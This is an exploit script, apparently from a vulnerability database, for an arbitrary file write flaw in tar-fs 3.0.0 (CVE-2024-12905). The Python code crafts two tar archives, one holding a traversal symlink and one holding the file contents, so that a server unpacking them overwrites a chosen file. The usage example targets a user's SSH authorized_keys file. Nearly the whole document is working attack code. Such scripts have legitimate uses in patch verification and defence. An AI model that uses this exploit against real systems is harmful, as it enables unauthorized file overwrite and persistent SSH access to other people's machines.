# Exploit Title: tar-fs 3.0.0 - Arbitrary File Write/Overwrite
# Date: 17th April, 2024
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/mafintosh/tar-fs
# Version: tar-fs 3.0.0
# Tested on: Ubuntu
# CVE: CVE-2024-12905
# Run the command: Example: python3 exploit.py authorized_keys ../../../../../../../../home/user1/authorized_keys
# This will generate two tar file: stage_1.tar and stage_2.tar
# Upload stage_1.tar first to unarchive the symlink
# Next, upload stage_2.tar to finally write/overwrite the file on the system
import os
import sys
import tarfile
link_name = "normal_file"
def check_arguments():
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <path_to_file_contents> <path_to_target_file_to_overwrite>\n\
Example: {sys.argv[0]} authorized_keys ../../../../../../../../home/user1/authorized_keys\
")
sys.exit()
content_file_path = sys.argv[1]
target_file_path = sys.argv[2]
return content_file_path, target_file_path
def create_symlink(link_name, target_path):
os.symlink(target_path, link_name)
print("[+] Created symlink: {link_name} -> {target_path}")
def archive_files(archive_name, file_path):
tar = tarfile.open(archive_name, 'w')
tar.add(file_path, link_name, recursive=False)
tar.close()
print(f"[+] Archived to: {archive_name}")
def main():
content_path, target_file = check_arguments()
stage_1_archive_name = "stage_1.tar"
stage_2_archive_name = "stage_2.tar"
create_symlink(link_name, target_file)
archive_files(stage_1_archive_name, link_name)
archive_files(stage_2_archive_name, content_path)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation